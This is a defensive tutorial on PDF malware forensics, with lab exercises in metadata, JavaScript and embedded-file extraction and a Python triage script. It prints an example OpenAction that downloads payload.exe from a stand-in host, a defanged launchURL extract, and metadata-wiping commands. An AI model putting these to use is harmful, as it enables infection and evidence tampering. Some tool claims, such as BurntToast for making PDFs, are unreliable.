You receive a suspicious PDF. The file name says "Invoice.pdf." The sender is unknown. Your gut says something is wrong.
You could delete it. Or you could investigate.
Welcome to PDF forensics. This guide will teach you how to extract metadata, uncover hidden payloads, and analyze PDFs like a digital forensics professional. Every section includes practical exercises you can run on your own machine using free tools.
Let's get started.
Why PDF Forensics Matters
PDFs are everywhere. Contracts. Invoices. Reports. Forms. This ubiquity makes them a favorite delivery mechanism for malware.
Attackers hide malicious content in PDFs in three ways:
1. Metadata poisoning: Hiding attacker notes or C2 addresses in document properties
2. Embedded JavaScript: The Code that Is Executed when the PDF Is Opened
3. Embedded files: Other Files, Applications, and Scripts that Are Concealed in the PDF
To effectively retrieve and analyze these types of artefacts is one of the necessary skills for security analysts, incident response professionals, and investigators working in forensics.
Setting Up Your Forensics Lab
You need to analyze potentially dangerous PDF files in a controlled setting before we can begin.
You should not conduct ANY PDF file forensic analyses on your “day-to-day” machine.
Some other options are as follows:
1. A Standalone Windows Virtual Machine without Access to Any Network (Host Only Networking)
2. A Standalone Linux Virtual Machine (Ubuntu or Kali) with Forensic Tools Installed
3. A Sandbox Environment, Such as Any.RUN or Joe Sandbox
Tools you will install (all free):
|
Tool |
Purpose |
Installation |
|
ExifTool |
Metadata extraction |
sudo apt install exiftool (Linux) or download from exiftool.org |
|
Peepdf |
PDF structure analysis |
sudo apt install peepdf or pip install peepdf |
|
Pdfid |
Detect PDF elements |
sudo apt install pdfid |
|
Pdf-parser |
Parse PDF objects |
sudo apt install pdf-parser |
|
QPDF |
PDF structure manipulation |
sudo apt install qpdf |
|
BurntToast |
Create test PDFs |
pip install burntToast (optional) |
If you're a Windows user, you can either download the executables for Windows or use the "Windows Subsystem for Linux" (WSL) to perform these tasks with the appropriate type of Linux tools.
Exercise 1: Create a test file to use for finding malware
To understand the normal kind of forensic artifacts when looking for the malware, the first step is to create a test file.
Step 1: Open up a word processor (could be Microsoft Word, Libre Office, or you can use Google Docs and export it as a PDF after you finish it)
Step 2: Add metadata to this test file
In Microsoft Word:
1. Open the test file and select "File > Info > Properties > Advanced Properties."
2. Fill in the following fields under the "Summary" tab: title, subject, author, keywords, comments.
3. Add a custom property called "InternalID" with a value of "PROJ-42."
Step 3: Save this test file as a PDF using a name, such as Test_Metadata.pdf.
Step 4: Extract metadata using ExifTool
Use ExifTool to view the metadata that was extracted from your test.pdf file. To do this, open a Terminal and enter:
exiftool test_metadata.pdf
What you should see:
File Name : test_metadata.pdf
File Type : PDF
Author : Your Name
Title : Your Title
Subject : Your Subject
Keywords : test, forensics, pdf
Create Date : 2026:04:27 10:30:00
Modify Date : 2026:04:27 10:30:00
Creator : Microsoft Word
Producer : Microsoft: Print To PDF
Custom InternalID : PROJ-42
What this means: Metadata is the data about the PDF that people can see when they look at the PDF file. This type of data could be used by an attacker to store anything that may be hidden, such as notes about commands or where to send stolen data.
Exercise 2: Exercise 2: Examining an Actual Malicious PDF
Let's look at a pdf file that has been classified as legitimate but might be suspicious in order to examine it. We will be using a sample from the MalwareBazaar public malware repository.
Step 1: Download an established malicious PDF sample
⚠️ CAUTION: Download the PDF to a safe, isolated area such as a VM. Do not open the PDF with any viewer.
# In your VM terminal
wget https://bazaar.abuse.ch/sample/68dfa4a0b4c5d6e7f8a9b0c1d2e3f4a5b6c7d8e9f0a1b2c3d4e5f6a7b8c9d0e1/ (example hash - use actual from bazaar)
Alternate Option: Use a more secure option and utilize the Contagio Malware Dump or Hybrid Analysis to search for "PDF malware sample".
Step 2: Detect any suspicious items with pdfid
pdfid suspicious.pdf
What pdfid checks for:
|
Indicator |
What It Means |
|
/JavaScript |
Embedded JavaScript code |
|
/OpenAction |
Code that runs when PDF opens |
|
/AA (Additional Action) |
Triggers on document events |
|
/Launch |
Ability to launch external programs |
|
/EmbeddedFile |
Files hidden inside the PDF |
|
/XFA |
XML Forms Architecture (often exploited) |
Sample of a clean PDF:
PDFiD 0.2.8
PDF Header: %PDF-1.4
/JavaScript : 0
/OpenAction : 0
/AA : 0
/Launch : 0
/EmbeddedFile : 0
Sample of a suspicious PDF:
PDFiD 0.2.8
PDF Header: %PDF-1.7
/JavaScript : 3
/OpenAction : 1
/AA : 2
/Launch : 0
/EmbeddedFile : 1
Exercise: On the PDF from Exercise 1, run pdfid, and all indicators should be zero. On the sample PDF, run pdfid to compare your results with the original test PDF.
Exercise 3: Extracting JavaScript from PDF Files
Many malicious PDF files use JavaScript to exploit vulnerabilities in the PDF reader or to download an extra payload from another server.
Step 1: Use peepdf to analyze the PDF's structure.
peepdf suspicious.pdf
Inside peepdf interactive mode:
peepdf> info
peepdf> tree
peepdf> object 5
Step 2: Search for JavaScript objects
peepdf> search /JavaScript
Step 3: Extract JavaScript code from a specific object
peepdf> object 5 --raw
Or using pdf-parser:
pdf-parser --search=/JavaScript --raw suspicious.pdf > extracted_js.txt
cat extracted_js.txt
Step 4: Analyze the extracted JavaScript
Look for:
1. app.alert() - Popup messages
2. app.launchURL() - Launch a web address
3. this.exportDataObject() - Export embedded files
4. util.printd() - Date manipulation (often accomplished with hexadecimal obfuscation)
5. Grouping long strings with either XOR or hexadecimal encoding
Exercise: Develop a simple malicious JavaScript PDF file for testing.
Using BurntToast or a Python script:
from reportlab.pdfgen import canvas
from reportlab.lib.pagesizes import letter
c = canvas.Canvas("test_js.pdf", pagesize=letter)
c.drawString(100, 750, "Test PDF with JavaScript")
# Note: Adding actual JS requires pdfrw or similar library
c.save()
Manually add JavaScript to PDF files by using either Adobe Acrobat Pro or QPDF (for advanced users).
Exercise 4: Locate and Extract Embedded Files
Attackers can conceal whole files within PDF documents, such as executables, office documents, or scripts.
Step 1: Use pdfid to locate embedded files
pdfid suspicious.pdf | grep EmbeddedFile
If count > 0, there are embedded files.
Step 2: List embedded files with peepdf
peepdf -c "list" suspicious.pdf
Step 3: Extract embedded files
Using pdf-parser:
# Find the embedded file stream
pdf-parser --search=/EmbeddedFile suspicious.pdf
# Extract the stream (replace XX with object number)
pdf-parser --object=XX --raw --filter suspicious.pdf > extracted_file.bin
Step 4: Identify the extracted file
file extracted_file.bin
If it indicates “PE32 executable” (a Windows program) or if it is either a "Zip archive" or "HTML document", then you have discovered a hidden payload.
Exercise: Create a PDF Document with an Embedded File
From LibreOffice:
1. Create a new document.
2. Select Insert > Object > OLE Object > Create from File
3. Select a harmless text file.
4. Save document as PDF.
Then run the extraction tools on this test PDF document.
Exercise 5: Evaluate PDF Streams for Obfuscation
Malicious contents hidden within PDFs typically use compression or encoding to avoid detection.
Step 1: List all the streams in the PDF
pdf-parser --stats suspicious.pdf
Step 2: Look for streams with filters
Common filters:
1. /FlateDecode - Compressed with the Zlib algorithm
2. /ASCIIHexDecode - Hex Encoded files
3. /ASCII85Decode - ASCII85 Encoded files
4. /Crypt - Files that are encrypted
Step 3: Decode and extract a stream
pdf-parser --object=XX --filter --raw suspicious.pdf > decoded_stream.bin
Step 4: Analyze the decoded content
strings decoded_stream.bin
hexdump -C decoded_stream.bin | head -50
What to look for:
1. http:// or https:// URLs (C2 servers)
2. powershell.exe or cmd.exe commands
3. Base64 encoded strings (often malware)
4. MZ header (Windows executable)
5. eval() or document.write() JavaScript
Exercise: Decode a compressed stream
Create a PDF with compressed text using any PDF printer. Then extract and decode it. Compare the raw vs. decoded output.
Exercise 6: Detecting Suspicious OpenActions
OpenAction defines what happens when a PDF opens—immediately, without user interaction.
Step 1: Locate OpenAction in PDF
pdf-parser --search=/OpenAction suspicious.pdf
Step 2: Investigate Targets
The resulting object number can be used to determine what the object is.
pdf-parser --object=XX suspicious.pdf
Example of benign OpenAction:
<< /Type /Action /S /GoTo /D [ 0 /Fit ]
This simply navigates to a specific page.
Example of malicious OpenAction:
<< /Type /Action /S /JavaScript /JS (app.launchURL("https://malicious.com/payload.exe", true);)
Exercise: Create PDF with an OpenAction
Adobe Acrobat Pro (or pdfrw with python):
1. Create PDF
2. Insert button with javascript action
3. Make the button trigger on document opening
Use steps above to extract the OpenAction.
Exercise 7: Time-line analysis from Meta Data
Meta Data contains creation and modification dates/times. Attackers will often create false or incidental clues through these timestamps.
Step 1: Extract all timestamps
exiftool -time:all suspicious.pdf
What you might see:
Create Date : 2026:04:15 09:23:17
Modify Date : 2026:04:15 09:23:17
Metadata Date : 2026:04:15 09:23:17
Create Date (PDF) : 2026:04:10 14:30:00 (inconsistent!)
Inconsistent dates suggest the PDF was created/modified after the claimed creation date, possible tampering.
Step 2: Investigate for potential timezone inconsistencies
exiftool -CreateDate -ModifyDate -Timezone suspicious.pdf
Step 3: Compare with timestamps on the filesystem
stat suspicious.pdf
Exercise: Modify PDF metadata
Using exiftool to change metadata (on your own test file only):
exiftool -CreateDate="2020:01:01 00:00:00" test_metadata.pdf
exiftool -overwrite_original -All="" test_metadata.pdf
Re-extract the metadata after applying the above commands to see the differences. This is similar to what criminals do to cover their evidence.
Exercise 8: Writing a PDF Analysis Script in Python
Now we’re going to combine what we have learned into a basic forensics script.
Create a file called pdf_forensics.py
#!/usr/bin/env python3
import sys
import subprocess
import os
import hashlib
def analyze_pdf(pdf_path):
print(f"[+] Analyzing: {pdf_path}")
# 1. Calculate hashes
with open(pdf_path, 'rb') as f:
data = f.read()
md5 = hashlib.md5(data).hexdigest()
sha256 = hashlib.sha256(data).hexdigest()
print(f"[+] MD5: {md5}")
print(f"[+] SHA256: {sha256}")
# 2. Extract metadata with exiftool
print("\n[+] METADATA:")
subprocess.run(['exiftool', pdf_path])
# 3. Run pdfid
print("\n[+] PDFiD RESULTS:")
subprocess.run(['pdfid', pdf_path])
# 4. Extract JavaScript if present
print("\n[+] SEARCHING FOR JAVASCRIPT:")
result = subprocess.run(['pdf-parser', '--search=/JavaScript', '--raw', pdf_path],
capture_output=True, text=True)
if result.stdout:
print("[!] JavaScript found!")
with open(f"{md5}_extracted_js.txt", 'w') as f:
f.write(result.stdout)
print(f"[+] Saved to {md5}_extracted_js.txt")
else:
print("[+] No JavaScript detected")
# 5. Check for embedded files
print("\n[+] CHECKING FOR EMBEDDED FILES:")
result = subprocess.run(['pdfid', pdf_path], capture_output=True, text=True)
if '/EmbeddedFile' in result.stdout and '> 0' in result.stdout.split('/EmbeddedFile')[1]:
print("[!] Embedded files detected!")
else:
print("[+] No embedded files detected")
if __name__ == "__main__":
if len(sys.argv) != 2:
print("Usage: python3 pdf_forensics.py <suspicious.pdf>")
sys.exit(1)
analyze_pdf(sys.argv[1])
Run the script:
python3 pdf_forensics.py suspicious.pdf
Exercise: Run this script on your test PDF from Exercise 1. Then run it on a known malicious sample in your VM. Compare the outputs.
Real-World Example: What a Malicious PDF Looks Like
Here’s an example of an actual case (anonymized to protect individual users) as it relates to analyzing and extracting information from the malicious PDF:
Step 1 : analyze the PDF with pdfid
Header - %PDF-1.4
/JavaScript = 2
/OpenAction = 1
/EmbeddedFile = 1
Step 2: extract the JavaScript
var payload = "eval(function(p,a,c,k,e,d)...decoded...
var url="https://updates-cloud[.]com/update.exe";
app.launchURL(url, true);
Step 3: extract the embedded file
The embedded file is a Windows executable with an MD5 hash of the Emotet malware.
Step 4: Metadata analysis
Author: "Microsoft User"
Create Date: 2025:11:15 08:30:00
Modify Date: 2025:11:15 08:30:00
Creator: "Microsoft Word"
Producer: "macOS Version 15.0"
The “Microsoft Word” Creator and the macOS Producer are inconsistent. This means that the attacker probably used a Mac when creating the PDF, while they automated infection of a Windows machine. This was a forensic clue.
Step 5: The verdict
This PDF drops an executable via JavaScript and embedded file extraction. It is malicious. Do not open.
Forensic Checklist: PDF Analysis Workflow
Utilize this checklist when completing any investigation of suspicious PDF documents.
1. Separate the Document – Copy the PDF file to a VM that has NO network access
2. Hash the PDF – Compute MD5, SHA1, and SHA256 hashes for threat intelligence lookups
3. Run pdfid tool on PDF – Identify any use of /JavaScript, /OpenAction, /AA, /Launch, and /EmbeddedFile
4. Extract the PDF file metadata – Utilize exiftool, looking at overall PDF metadata for inconsistencies
5. Extract and decode any JavaScript from the PDF – Utilize peepdf or pdf-parser
6. Analyze the JavaScript that was extracted from the PDF – Look for URLs, obfuscation, and shell commands
7. Extract embedded files from the PDF – Save them on your disk and do NOT execute them
8. Analyze any extracted files from the PDF – Use the “file” command and check hashes against VirusTotal
9. Identify what the OpenAction will execute – Determine what is run when the PDF is opened
10. Document your findings – Document all of your artifacts in a final report with extracts
What To Do If You Discover A Malicious File
DO NOT
1. Open The Original PDF File In A Regular PDF Reading Program
2. Click Links Or Open Other Files Extracted From The Original PDF File
3. Delete The Original PDF File (you Should Keep It As Evidence)
4. Analyze The Original PDF On Your In-House Computer/Server
DO
1. Save The Original PDF File To A Read-Only Media Device And For Archive Purpose
2. Submit The Hash Value Of The Malicious PDF File To VirusTotal Or Your Sandbox
3. Create Documentation Of The IOCs You Found In The Malicious PDF (File Name, Hash Value, C2 Domain)
4. Block Access To C2 Domains At Your Firewall
5. Scan Your Network For Any Related Activity
6. Report The Incident To Your Incident Response Team
Conclusion: Practice Makes Proficient
PDF forensic analysis is a skill set; like any other skill set, it takes time and practice to develop. The exercises in this guide give you a safe environment to learn the tools and techniques.
Remember the workflow:
1. Isolate
2. Hash
3. Pdfid
4. Metadata
5. Extract JavaScript
6. Extract embedded files
7. Analyze
8. Report
Run these exercises multiple times on different samples. Create your own test PDFs with different features. Challenge yourself to find the hidden artifacts.
The next time a suspicious PDF lands in your inbox, you will know exactly what to do.
FAQ Section
1. What is the best free tool for PDF metadata extraction?
ExifTool is the industry standard. It runs on Windows, Mac, and Linux, extracts every metadata field, and is completely free. Pdfid and pdf-parser are excellent for deeper structural analysis of suspicious PDFs.
2. Can I analyze the PDF safely without opening it?
Yes, it is possible to work with tools that will allow you to analyze a PDF without opening it. You can use command line tools such as pdfid, pdf-parser, or peepdf to analyze the PDF structure without displaying it. As a result, any malicious javascript or exploits will not be executed. It is highly recommended that you conduct all of your analysis within an isolated VM environment to have another layer of protection.
3. How can I find out if there is embedded javascript in the PDF file?
You can use pdfid to look for the presence of javascript (/JavaScript count) and the number of /OpenAction instance. If you want to specifically retrieve the embedded javascript code from the PDF, you can use pdf-parser with the "search" and "raw" args. Look for things like URLs, strings that are encoded, methods like app.launchURL(), or external executables. Legitimate or benign PDFs usually do not have any embedded javascript in them.
4. What signs tell me if a pdf document is malicious?
Here are the top indicators: JavaScript count (greater than zero), OpenAction (especially with an associated JavaScript), EmbeddedFile, additional action (AA or Associated Action) triggers; Obfuscated/encoded streams, and modifications of metadata timestamps of the PDF that are outside of the normal time period (either prior to the creation of the PDF or after the modification of the PDF).
5. Can I perform these exercises on my main computer?
No. Use an isolated virtual machine without network access. Some of the sample files mentioned contain real malware. Even if you do not open them, extraction tools could theoretically trigger exploits. A VM protects your main system